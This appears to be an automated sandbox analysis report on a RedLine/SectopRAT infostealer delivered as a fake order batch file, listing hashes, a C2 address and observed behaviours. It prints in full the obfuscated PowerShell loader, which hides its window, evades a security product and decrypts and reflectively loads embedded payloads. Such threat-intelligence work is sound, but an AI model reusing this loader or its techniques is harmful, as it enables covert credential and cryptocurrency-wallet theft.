Analysis
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max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-10-2024 08:11
Static task
static1
Behavioral task
behavioral1
Sample
Order Nº TM24-10-08.bat
Resource
win7-20240903-en
General
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Target
Order Nº TM24-10-08.bat
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Size
260KB
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MD5
555de6b8f4d49dbbcb011cf0f749a3a7
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SHA1
8382c757c865ae49f03ba06e2ca88d8076fcca28
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SHA256
bb22b9f36aa70d1503e56fe38c8a4e79ac3020ff8ce0c33c08e79173e56f2ee8
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SHA512
4915d206b39b81c291fd2b8e79a651cb15ebd386ffb16228dcb4ce94c48987fd2f5e258dd09026c881533aef186f90fbaa5199f9e524ac950ed04364c0465364
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SSDEEP
6144:nOEnu+m6LlyFuZli6Ed9/nOtbS2Z1QBHTI:nOX96LGuSJnOtbSjK
Malware Config
Extracted
redline
otto
51.195.145.71:26398
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3416-40-0x0000000007350000-0x000000000736E000-memory.dmp family_redline -
SectopRAT payload 1 IoCs
resource yara_rule behavioral2/memory/3416-40-0x0000000007350000-0x000000000736E000-memory.dmp family_sectoprat -
Blocklisted process makes network request 2 IoCs
flow pid Process 18 3416 powershell.exe 21 3416 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2436 powershell.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3416 powershell.exe 3416 powershell.exe 2436 powershell.exe 2436 powershell.exe 3416 powershell.exe 3416 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3416 powershell.exe Token: SeDebugPrivilege 2436 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1716 wrote to memory of 3544 1716 cmd.exe 84 PID 1716 wrote to memory of 3544 1716 cmd.exe 84 PID 1716 wrote to memory of 3416 1716 cmd.exe 85 PID 1716 wrote to memory of 3416 1716 cmd.exe 85 PID 1716 wrote to memory of 3416 1716 cmd.exe 85 PID 3416 wrote to memory of 2436 3416 powershell.exe 89 PID 3416 wrote to memory of 2436 3416 powershell.exe 89 PID 3416 wrote to memory of 2436 3416 powershell.exe 89
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat';$DXzR='ReamnDpdLmnDpinmnDpesmnDp'.Replace('mnDp', ''),'EntbEvvrybEvvPbEvvoinbEvvtbEvv'.Replace('bEvv', ''),'FromvYVmmvYVBmvYVamvYVsmvYVe6mvYV4SmvYVtrmvYVingmvYV'.Replace('mvYV', ''),'SpeSWZliteSWZ'.Replace('eSWZ', ''),'DePsMkcoPsMkmpPsMkrPsMkesPsMksPsMk'.Replace('PsMk', ''),'ChrhhOarhhOnrhhOgrhhOeExrhhOtenrhhOsirhhOorhhOnrhhO'.Replace('rhhO', ''),'GetALBtCtALButALBrrtALBentALBtPtALBrotALBctALBestALBstALB'.Replace('tALB', ''),'InIMkLvoIMkLkeIMkL'.Replace('IMkL', ''),'LoIpdGaIpdGdIpdG'.Replace('IpdG', ''),'CopOzUZyToOzUZ'.Replace('OzUZ', ''),'EleThfYmenThfYtThfYAThfYtThfY'.Replace('ThfY', ''),'MaOxpNinMOxpNoOxpNdOxpNuOxpNleOxpN'.Replace('OxpN', ''),'CIQANreaIQANteDIQANeIQANcrIQANyIQANptoIQANrIQAN'.Replace('IQAN', ''),'TofCFraofCFnofCFsfoofCFrmofCFFiofCFnaofCFlofCFBofCFlocofCFkofCF'.Replace('ofCF', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($DXzR[6])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function bDdfx($DCabq){$PkWMx=[System.Security.Cryptography.Aes]::Create();$PkWMx.Mode=[System.Security.Cryptography.CipherMode]::CBC;$PkWMx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$PkWMx.Key=[System.Convert]::($DXzR[2])('2mOYEaPt8lWctq01VMMqhN34VnXfkC7nLbHLQY7/Qz8=');$PkWMx.IV=[System.Convert]::($DXzR[2])('dCF02IjSKAA6m1jMUv5SoQ==');$AcKBd=$PkWMx.($DXzR[12])();$MScdO=$AcKBd.($DXzR[13])($DCabq,0,$DCabq.Length);$AcKBd.Dispose();$PkWMx.Dispose();$MScdO;}function DOVto($DCabq){$BTfcL=New-Object System.IO.MemoryStream(,$DCabq);$KMREB=New-Object System.IO.MemoryStream;$ushEi=New-Object System.IO.Compression.GZipStream($BTfcL,[IO.Compression.CompressionMode]::($DXzR[4]));$ushEi.($DXzR[9])($KMREB);$ushEi.Dispose();$BTfcL.Dispose();$KMREB.Dispose();$KMREB.ToArray();}$McwgB=[System.IO.File]::($DXzR[0])([Console]::Title);$cTfVJ=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 5).Substring(2))));$nYDNp=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 6).Substring(2))));[System.Reflection.Assembly]::($DXzR[8])([byte[]]$nYDNp).($DXzR[1]).($DXzR[7])($null,$null);[System.Reflection.Assembly]::($DXzR[8])([byte[]]$cTfVJ).($DXzR[1]).($DXzR[7])($null,$null); "2⤵PID:3544
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2436
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5928d36ad618a369ffebf44885d07cf81
SHA1edf5a353a919c1873af8e6a0dfafa4c38c626975
SHA256d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea
SHA5124ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a
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Filesize
28KB
MD51ac766c4826ba339d022324a492c41e7
SHA19717376dc808ec7fcc6a7f1ce5661f8ccbb02cc4
SHA25618d09bb7449eb37ea9da74b48e173dc1ca6957acc6f71ce16ab0c80b99e11047
SHA512c09b7fdf7ce1b10a0529429945b591abf2d3390e1a08d511391b8ffc382291d96892dce81efbaf38838858a196ac0d18552e15aef7acb61c6c883030914cf256
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
40KB
MD5a182561a527f929489bf4b8f74f65cd7
SHA18cd6866594759711ea1836e86a5b7ca64ee8911f
SHA25642aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
SHA5129bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558
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Filesize
114KB
MD52dc3133caeb5792be5e5c6c2fa812e34
SHA10ed75d85c6a2848396d5dd30e89987f0a8b5cedb
SHA2564b3998fd2844bc1674b691c74d67e56062e62bf4738de9fe7fb26b8d3def9cd7
SHA5122ca157c2f01127115d0358607c167c2f073b83d185bdd44ac221b3792c531d784515a76344585ec1557de81430a7d2e69b286155986e46b1e720dfac96098612
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Filesize
48KB
MD5349e6eb110e34a08924d92f6b334801d
SHA1bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA5122a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574
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Filesize
20KB
MD549693267e0adbcd119f9f5e02adf3a80
SHA13ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2
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Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
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Filesize
96KB
MD540f3eb83cc9d4cdb0ad82bd5ff2fb824
SHA1d6582ba879235049134fa9a351ca8f0f785d8835
SHA256cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0
SHA512cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2